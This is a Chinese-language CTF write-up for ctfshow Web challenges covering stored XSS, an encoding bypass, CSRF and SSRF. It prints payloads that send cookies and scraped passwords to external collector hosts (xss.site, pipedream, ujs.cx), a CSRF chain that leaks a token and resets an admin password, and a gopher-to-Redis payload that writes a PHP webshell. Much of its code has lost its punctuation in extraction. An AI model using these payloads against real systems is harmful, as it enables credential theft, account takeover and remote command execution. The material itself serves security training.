渗透基础知识ctfshow——Web应用安全与防护(第六 七章)

张开发
2026/6/9 12:22:05 15 分钟阅读
渗透基础知识ctfshow——Web应用安全与防护(第六 七章)
提示文章写完后目录可以自动生成如何生成可参考右边的帮助文档文章目录混合型XSSXSS 练习反射型**绕过方法**新增知识平台外带xss编码绕过XSS过滤绕过方法请求伪造漏洞_CSRF绕过方法最简单的SSRFSSRF打Redis总结混合型XSS打开网页可以看到如下页面话不多说开启我们的闯关XSS 练习反射型我们可以看到很普通的登录框输入参数抓包分析一下输入账号密码后提示“账号或密码错误”然后就尝试注册了一个用户再尝试进行登陆随后进入到一个新页面管理员审核后抓包分析发现我们刚刚输入的签名“123”成功显示在了页面上绕过方法我们可以得到以下三个关键信息输入即输出未过滤在请求的 URL 参数中输入了sig123左侧 Request 区域服务器端接收后没有做任何安全过滤或转义直接把这原封不动地“反射”到了页面的 HTML 代码中右侧 Response 区域的p...: 123/p。漏洞成因因为服务器“盲目信任”了输入这就意味着如果你输入的不是普通的数字123而是一段恶意的 JavaScript 代码例如scriptalert(XSS)/script服务器同样会把它原样拼接到 HTML 中。当浏览器解析到这里时就会当做正常代码执行。题目信息暗示注意看图里那句“管理员会在1分钟内审核”意味着后台有一个模拟的“管理员机器人”会去访问你提交的链接。所以这里我们尝试构造一下payloadscriptalert(XSS)/script成功反弹这里尝试用XSS平台获取管理员的Cookiewebhook.sitehttps://webhook.site/xssaqhttps://xssaq.comscriptwindow.location.hrefhttps://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/?cookiedocument.cookie/script# POST型外带scriptfetch(https://xss.site/c531bf3f-8ef1-4864-b659-6787f56e78c4/,{method:POST, body: document.documentElement.outerHTML});/scriptPOST型可以看到都失败了那就换个平台随便选择一个payload输入到签名框里等待即可反弹随后查看内容这里我翻看源码并没有找到flag只能去网上找WP - 原来是还少了一步新增知识平台外带xss为什么需要换平台外带之前使用的 xss 平台虽然能通过 script src 上线但它可能仅支持预定义的数据收集方式比如自动截图、获取 Cookie 等;而无法让你自定义发送任意数据如页面源码因此你需要一个完全可控的外部平台例如 https://pipedream.com它允许你创建一个专属的 HTTP 接收端点Endpoint可以查看所有传入的请求详情包括 Headers、Body、参数。不受数据格式限制你可以自由地将页面源码作为 GET 参数或 POST 数据发送。实时查看日志便于调试和提取密码。步骤如下1在 Pipedream 上创建一个 HTTP 触发器HTTP Endpoint获得一个专属 URL例如 https://eoxxxxxx.m.pipedream.net。然后编写如下 Payload将页面源码发送到这个 URL需要进行登陆并且创建new workflow即可2在弹出的选择框中需要找到并点击 “HTTP / Webhook”。这就是你要找的“HTTP Endpoint”。3随后输入一段异步 XSS 脚本Async XSS用于在浏览器中执行以下操作注意在代码中替换成自己的url(async(){try{constresawaitfetch(/profile,{credentials:include,method:GET});consttxtawaitres.text();constsecrettxt.split(idupass)[1].substr(48,45);constheadersnewHeaders()headers.append(Content-Type,application/json)constbody{test:secret}constoptions{method:POST,headers,mode:cors,body:JSON.stringify(body),}fetch(https://eoiq59v45jb1lvw.m.pipedream.net,options)}catch(e){console.error(e);}})();作用如下向 /profile 发起请求携带 Cookie获取页面 HTML 源码提取其中的密码字段id“upass”将密码通过 POST 请求发送到你的 Pipedream Webhook成功后你在 Pipedream 中就能看到 flag4将这段代码添加进自定义模块。5再次发送XSS语句即可得到结果imgsrcxonerrorscreateElement(script);body.appendChild(s);s.src//ujs.cx/YmU;随后点击按钮编码绕过XSS过滤还是老样子打开网页还是先注册账号然后尝试登陆绕过方法此题只过滤了script 和 \用下面命令进行绕过其余和上一题一样详细步骤同上记得改成自己的配置代码//ujs.cx/EZW1将payload进行base64编码# 原始payloadvar sdocument.createElement(script);s.src//ujs.cx/EZW;document.body.appendChild(s);# base64编码后cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc# 大概形式如下svgonloadeval(atob(cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPScvL3Vqcy5jeC9FWlc))成功返回flag请求伪造漏洞_CSRF同理正常注册用户 123/123 然后进行登陆增加了很多功能可以修改密码获取flag则需要管理员的账号密码绕过方法分析修改密码路由/modifyformmethodpostclassmt-3divclassmb-3labelclassform-label用户名/labelinputclassform-control form-control-lg bg-transparent text-lightnameusernamedisabledvaluetest/divdivclassmb-3labelclassform-label新密码/labelinputtypepasswordclassform-control form-control-lg bg-transparent text-lightnamepasswordrequiredinputtypehiddennamecsrf_tokenvalue3g4i9_yQLKQaoO_LRR8399tux22pg2S7E-WNWJVuPN4/divdivclassd-flex justify-content-between align-items-centerbuttonclassbtn btn-neon btn-lg修改/buttonaclasstext-decoration-none text-infohref/login已有账号登录/a/div/form虽然不验证旧密码但是新增了csrf_token验证XSS的利用点还在我们首先打入xss 看下管理员访问的同源地址否则无法进行CSRF利用(无法携带cookie)成功拿到管理员的同源地址 端口是4476端口也就是后续 修改密码的提交地址应该是本地的4476端口尝试使用XSS来修改管理员的密码无csrf_token检查后端是否对token进行了验证// 构造表单数据 const formDatanew URLSearchParams();formData.append(password,123456);fetch(http://127.0.0.1:4476/modify,{method:POST, headers:{Content-Type:application/x-www-form-urlencoded,}, body: formData, credentials:include// 重要自动携带Cookie}).then(response{}).catch(error{});进行二次XSS获取csrf_token并发给攻击网址fetch(http://127.0.0.1:4476/modify,{credentials:include// 携带Cookie}).then(rr.text()).then(html{// 提取Token const tokenMatchhtml.match(/namecsrf_tokenvalue([^]*)/);if(tokenMatchtokenMatch[1]){const tokentokenMatch[1];const leakUrlhttp://ctf.show.ctfer.com/?token${token}targethttp://127.0.0.1:4476/modify;window.location.hrefleakUrl;}});攻击网址的主要代码如下formidcsrfFormaction{{ target }}methodPOSTinputtypehiddennamepasswordvalue123456inputtypehiddennamecsrf_tokenvalue{{ token }}/formscriptsetTimeout((){document.getElementById(csrfForm).submit();},1000);/script调用的时候通过GET传参后初始化到html表单中这样就可以在管理员无感情况下修改管理员密码进行二次XSS注入成功登陆管理员账号使用 admin /123456来验证账号获取flag最简单的SSRF直接保留地址绕过即可源代码如下?phperror_reporting(0);highlight_file(__FILE__);$url$_POST[url];$xparse_url($url);if($x[scheme]http||$x[scheme]https){$host$x[host];if((strlen($host)5)){$chcurl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$resultcurl_exec($ch);curl_close($ch);echo($result);}else{die(hacker);}}else{die(hacker);}?hacker根据代码直接得到flagSSRF打Redis页面源代码如下?phperror_reporting(0);highlight_file(__FILE__);$url$_POST[url];$chcurl_init($url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$resultcurl_exec($ch);curl_close($ch);echo($result);?以下引用自Y0uhe师傅工具使用https://github.com/tarunkant/Gopherus直接使用工具生成payloadpython gopherus.py--exploitredis上述字符解码后的语句为*1$8flushall *3$3set$11$34?php system($_GET[cmd]);?*4$6config$3set$3dir$13/var/www/html *4$6config$3set$10dbfilename$9shell.php *1$4save生成字符的作用是Redis未授权访问写入PHP一句话木马的攻击指令用于通过SSRF漏洞在目标服务器写入webshell实现远程控制。将生成的字符_后面的再进行一次编码POST传入urlgopher://127.0.0.1:6379 /_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250D%250A%250D%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250D%250A%250D%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250Ashell写入的地址默认url/shell.php成功连接并执行命令连接蚁剑成功根目录下找到flagcat /flaaag总结本文围绕Web安全漏洞展开重点分析了XSS漏洞的绕过策略与平台外带技巧详细解析了CSRF请求伪造的防范与规避并深入探讨了SSRF漏洞的利用场景。 针对SSRF漏洞文章特别演示了如何利用该漏洞攻击Redis等内部组件展示了从基础漏洞到横向移动的实战链路。

更多文章